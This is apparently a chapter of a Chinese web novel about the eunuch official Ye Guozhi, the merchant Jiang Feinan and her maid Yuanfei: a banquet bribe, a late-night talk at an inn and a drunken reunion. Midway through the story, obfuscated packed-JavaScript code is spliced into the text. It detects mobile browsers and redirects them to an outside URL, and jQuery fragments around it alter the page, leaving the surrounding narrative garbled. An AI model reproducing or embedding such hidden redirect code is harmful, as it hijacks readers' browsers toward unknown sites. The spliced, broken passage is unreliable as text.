烟花燃尽的时候，鸢飞登了船。


    大老爷们推杯换盏好不热闹，小姑娘被夹在声色犬马中，憋红着脸欲言又止。


    孙房山只当她是姜斐囡派来付账的，轻撇一眼便不以为意。唯有叶国枝注意到她的隐情，领了人去角落小声询问：


    “可是你家小姐的事？”


    “姑爷，”鸢飞别别扭扭喊出那两字，却是姜斐囡特意叮嘱她的：“我家小姐说夜深雾浓，晚来路上不好走。姑爷也到了该回家歇息的时候。”


    鸢飞声音本就不大，姜斐囡叫她带这条羞人口信，本就不大的话声不由得越说越小。


    一条小小的口信，却将那厢灯红酒绿衬得黯然失色。


    在场都是成过亲的男子，多年飘荡在外四处游戏，家中老妻早早在累日等待中磋磨了催人回家的兴致。如今酒局上突然冒出个催回家的，居然还是个太监的姘头。


    热辣的杯中物突然苦涩至极，花天酒地的喧哗霎时寂若无人。


    王珂率先发话：“大人们正在兴头上，小小丫鬟掺合什么？”


    王珂言语不满，看似在骂鸢飞没大没小，实则酸人酸语直指姜斐囡不识大体。


    叶国枝不动声色将鸢飞挡在身后，阻隔了旁人探究的视线。鸢飞是来替姜斐囡递话的，代表的就是姜斐囡的脸面。他自然不会叫她被人小觑了去。


    “王大人，夜深人乏。”叶国枝拱手作揖，浅笑吟吟：


    “叶某就此别过。”


    再稀疏不过的话语，却叫座上诸君心生波澜。他们流连花丛多年，家里往酒局递话时向来置之不理，更有甚者干脆就着酒家铺盖凑合，经年累月不回家也是常有的事。叶国枝倒成了那个出乎意料的异类。


    王珂可不信什么人间自有真情在的胡话，拢共才认识几天就处成老夫老妻了？他倒更信姜斐囡手段了得人尽可夫，恰撞上叶国枝格格不入的窘迫，给他拿住机会就坡下驴罢了。


    “叶大人是该多花功夫陪陪姜掌柜。”王珂捏着假笑惺惺作态。


    都说伸手不打笑脸人，叶国枝冠冕堂皇的理由体面到叫人无可置喙。他吃准了王珂要维护脸皮，自是无意缠战的。


    叶国枝领着鸢飞欲先行一步，却是被孙房山的叫喊拖住脚步。


    “叶大人留步。”


    孙房山作为姜斐囡生父，叶国枝明面上自是不能给人留话柄言说。他转身静待，只见孙少勋抱起一口箱子。


    “叶大人与小女天赐良缘情投意合，咱们娘家人看着也高兴。”


    孙房山说罢望向王珂，王珂隔着人群赞赏的朝他颔首示意：“这是王大人同草民一番心意，还望叶大人笑纳。”


    孙少勋闻言适时将箱子开条小缝，内里黄白之物玉器珠宝璀璨生光，只扫一眼便可知他们是何居心。倘若叶国枝未猜错，这里恰是前些时候荣宝斋账上被划走那批库存。


    这么多双眼睛盯着，王珂这是要他来纳投名状的。


    叶国枝却是不怵他们这些小九九，再是理所应当不过使唤着鸢飞：


    “鸢飞，替你家小姐收着。”


    ——————


    审计监来时有自己的车马。鸢飞嫌恶叶国枝贪婪，竟收了王珂孙房山的贿赂。奈何自家小姐下了死令要她把叶国枝带回，鸢飞厌厌上了姜家的马车，只叫车夫远远跟着审计监权当交了差。


    夜里行车慢，半道审计监的人隔着门帘敲了鸢飞的车：


    “鸢飞姑娘，我家大人路途还有一去处。还请姑娘跟紧。”


    鸢飞不知叶国枝葫芦里卖的什么药，也懒得过问他那些弯弯绕绕。她只不咸不淡回了句知道，嘱咐车夫跟紧前面。


    停车时她才知道这是家客栈。


    掌柜的一边系外衣一边迎出来接客，显然是被什么人临时从床上捞来顶着的。


    不算光亮的大堂里热乎乎的馄炖摆在桌上，叶国枝却是不知所踪。


    “鸢飞姑娘垫些肚子稍等，我家大人还在更衣。”


    拎着佩刀的侍卫彬彬有礼，她却闻到股雾气混杂着铁腥的肃杀味。就着铁腥，鸢飞静默的咽下馄饨。


    叶国枝出来时换了身青瓷素袍，薰过薄荷兰香的衣裳淡雅芬芳，连带着酒气都压下些。


    不男不女的娘娘腔还怪有品。都说吃人嘴软，鸢飞吸溜着馄饨，抨击的心声都柔和许多。


    “府上就能更衣，叶大人又何苦在外折腾。”鸢飞不由发问。


    叶国枝摇头：“外头应酬过，哪能就这么脏兮兮的回去。”


    鸢飞常年跟着姜斐囡在外见市面，烂醉如泥还愿意归家的都算邻里口中的好男儿，碰上叶国枝这款拾掇好自己才敢回家的异类不免惊奇：


    “大人也不嫌麻烦。”


    换作他们府上那位孙老爷，怕不是要喝个酩酊大醉才罢休，后半宿回来将仆从们折腾一通就都不必睡了。


    “都是御前侍奉的习惯，捎带手的事。”


    他们这种挨过刀的人，身体多少落着病根。酒水多饮后容易憋不住，又不能薰着皇帝，频繁更衣焚香属于近侍的基本礼节——只是这话过于阴私，却是不宜同鸢飞这个小姑娘讲的。


    “你家小姐出门前嘱咐我少喝酒。”他挑了能讲明的话端，尽量用鸢飞能听懂的方式解释：“我总不能叫她瞧我这副狼狈样。”


    叶国枝心中泛起酸楚：


    “纵是她不嫌弃，我自己也觉着邋遢。”


    鸢飞承认她对叶国枝有偏见。坊间都说他们宦官没了半边身子，情事不足便磋爱磨身边女子。她多怕小姐错付真心，再遇上个表里不一人面兽心的孙房山。


    鸢飞恶着胆故意刺探他：“叶大人这意思，是说我家小姐比皇上还难伺候？”


    “可不敢妄议圣上。”叶国枝比鸢飞更为警醒，一记眼刀杀过叫她有种似曾相识的威压感，瑟缩着脖也晓得自己说错话。


    鸢飞却是贼心不死又试探道：“在叶大人心中，我家小姐是怎样的存在？”


    “耀乎日初照屋脊，皎若明月舒其光。”①


    他很狡猾，没有直面鸢飞的问题。


    鸢飞虽能识文断字也仅限于账本，并不知晓叶国枝引的是哪里的典故。


    “那是什么？”她问。


    “是云梦泽的神女。”他回道。


    鸢飞垂头思索片刻，微恼的看向叶国枝：“今天这些话，叶大人是故意说予我听的。”


    “鸢飞姑娘冰雪聪明玲珑心肠，还望平日为叶某多多美言几句。”


    叶国枝讲话云里雾里半虚半实，直叫人辨不出真意。


    呸！鸢飞暗唾。她早该猜到姓叶这玩意没安好心。


    温良体贴做戏更衣，全是演她的套路。当着她的面夸她家小姐是仙女，不就是想让她把话带给小姐？


    “你们这些男子天性伪善，未得手时甜言蜜语如珠似宝，得到手便色衰爱弛弃之如敝履。”


    太监割了一刀心里头到底是个男人，别以为她不知道他打的什么算盘。色老头王珂自不用说，可他叶国枝又算什么良配？


    “人装一时，可装不了一世。”叶国枝平淡无奇讲述着自己的道理：“倘若我能装千千万万次千千万万日，鸢飞姑娘可愿相信叶某一片诚意？”


    “那便等你装到千千万万次千千万万日，我自当为你向小姐美言！”


    鸢飞是个嘴快的，她不信当世真有男儿能做到千千万万日恩爱如初。


    “一言为定。”


    叶国枝笑了。


    他的笑赤诚又坦荡，叫鸢飞慌了心神。仿佛下个刹那这人真能把小姐夺去。


    鸢飞匆匆起身，忙找台阶欲把前言收回：


    “我只是个奴婢，说了又不作数。叶大人同我在这较个什么劲。”


    叶国枝望着她定定道：


    “你是整个姜家，唯一真心为囡囡筹谋的人。”


    ——————


    归家的路有明月照拂，心情都是疏朗的。


    叶国枝虚浮着脚步回到自己的小筑，晚宴上咽下的辛酒逐渐显劲，舌头开始些微发麻。若不是旁边有侍卫照看，怕不是路上得挨几个跟头。


    姜斐囡已经在此等候多时。


    还是那方池塘。姜斐囡倚坐在高高的湖石上，妃色纱裙随风微动。她百无聊赖捧了本《道德经》，就着月光打发时间。


    叶国枝抬头仰望那片月色：呼啦啦响佩玲玎缤纷，飘摇摇衣袂孑然将倾。她是孤悬于天地星河间的银盘，不染凡尘几欲飞升——


    叶国枝瞳仁猛然紧缩。


    「姜斐囡被我撒在那，你去捞罢！」<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15051093|162830||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    狂言颠语钻入脑海目眦欲裂，烈酒将幻境与现实作用交融，他伸出臂欲捧住那弯摇摇欲坠的月亮。问天乞爱的痴儿，隐晦带了哭声：


    “囡囡，别走。”


    ——————


    叶国枝在发烫。


    他隐约失了记忆，不记得自己曾经是如何将她揽在怀中，不记得自己又是如何形单影只独回空房，唯一真实的只有身上切肤入骨的热痛。


    将入宫那会他就是这样。喝下的酒初时不显，随时辰叫热毒游走全身，最终将他攻得昏死过去。年少时他从不珍惜自己烂命一条，只畏怕在深宫中显露胆怯遭人踩踏，往往以纵情豪饮来者不拒的面貌示人。


    就是这般熬过许多昏天黑地的年岁，直到姜斐囡的出现才彻底终结了他的自我作践。


    “是吗...他是这样说的...”


    迷迷瞪瞪中，他隐约听见姜斐囡的谈话。


    又是在做梦。叶国枝就着头下绵软习以为常翻了个身。


    “醒了？”姜斐囡拍拍他的脸：“喝得可真多。”


    叶国枝睁眼数着姜斐囡的睫毛许久，才意识到自己正膝枕在她的腿上。木然的脑袋不由发出感慨：


    果然还是夜里的梦比白日质量好。


    梦是不需要缘由的，他大着胆子牵起姜斐囡的手：


    “囡囡，别走。”


    “我在。”


    宦官因着特殊残缺，往往敏感多疑惧怕遗弃。这点在叶国枝身上尤为明显，姜斐囡过往总是不厌其烦向他倾诉爱意。一双柔荑反握住他，轻易便取得了小动物的信任，甚至往她怀里拱了拱。


    若是照着叶国枝既往进度，怕是难有当下的亲昵，没准还要在她耳边叨几句授受不亲。姜斐囡心下惊喜，只当他是喝醉了。


    姜斐囡已有多年未见他醉酒憨态。前世王珂设宴时她与叶国枝萍水相逢，自然不会叫鸢飞去接他。再后来叶国枝自觉收敛，定情后她只为酒气皱过一次眉头，他直接断了多年的豪饮。


    细细想来，能捉他一次醉酒失态属实不易。


    叶国枝听不见姜斐囡百转千回的心声。


    他只是呆呆抬头仰望，青瓷般的郎君面色绯红媚眼含星，一颦一蹙皆是罪过，无不是在怂恿她更进一步。


    乘人之危多少有些下作，姜斐囡眸色晦暗。


    可不巧她姜斐囡正是个下作俗人。


    “烟花好看吗？”姜斐囡嘴上提着一茬，手头却是心猿意马拨散他的发冠，肆意将手指梳入他的发间。


    “甲板上好多人，就是听了个响。”


    叶国枝任由自己被摆弄，童真的眸将她无条件信仰。


    四十两雪花银的烟花就得他一句响，姜斐囡人也不恼。她记得他爱喜庆好热闹，凑近他耳畔悄悄道：


    “往后咱们自己放，不带他们。”


    往后。往后。叶国枝咂摸着揪心的词语，默想着原来他们还能有往后。


    “我又做梦梦到你。”他无奈叹息着。


    “哦？”姜斐囡颇为意外。前世他俩懵懵懂懂厮混了小半辈子，她尚且不知叶国枝何时对她情根深种。


    瞧见他醉酒老实，她不免生了调戏的心思：


    “莫非小叶大人经常梦见我？”


    “五十二次。”


    他支起小半边身子，孩子气的朝她侧颜嬉笑。


    姜斐囡有些吃惊。她没有遗忘面前的男子今生相遇不过半月，怎得就情根深种了去？


    可她又不得不相信，稳坐审计监头把交椅的小叶大人从未有把数字搞错的时候。


    “小叶大人一定是很想我很想我喽？”


    姜斐囡调笑着低下身逗弄他：“为什么都不同我讲？”


    “很想、非常想。”热毒的余威又开始游走，叶国枝痛苦的蜷起身。烈酒上头叫他口干舌燥头痛欲裂，一时竟分不清是伤身更痛还是伤心更痛：


    “拼了命的想。”


    他淋漓着汗水咬牙倾吐出心声。


    料想他是老毛病又犯了，姜斐囡忙将人送入床榻躺平。


    “睡吧。”


    湿漉小狗眷眷扯住她的衣角，姜斐囡轻抚着他的背陪伴入眠：


    “剩下的交给我。”


    往后日头还长，她并不急于一时。